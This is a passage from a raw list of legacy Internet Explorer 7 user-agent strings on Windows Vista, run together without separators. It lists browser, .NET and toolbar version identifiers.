Windows NT 6.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MS-RTC LM 8; InfoPath.2; OfficeLiveConnector.1.2; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.1; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zune 3.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.3; FBSMTWB; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.4; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; Maxthon; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 1.1.4322; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1; Zune 2.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; AskTB5.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Dealio Toolbar 3.4; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322; Dealio Toolbar 3.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Zune 2.5; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC EA 2; AskTbORJ/5.13.1.18107) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; AskTbORJ/5.15.15.36191) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; InfoPath.1; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10b; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Maxthon; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; MEGAUPLOAD 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.1; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; Lunascape 5.0 alpha2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; QQPinyin 686; QQDownload 661; GTB6.6; TencentTraveler 4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.20706; .NET CLR 3.0.590) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zune 3.0; MS-RTC LM 8; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.35.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Zango 10.3.74.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET4.0C; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30428; .NET CLR 3.0.30422) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; InfoPath.3; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.0.3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Zune 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506; 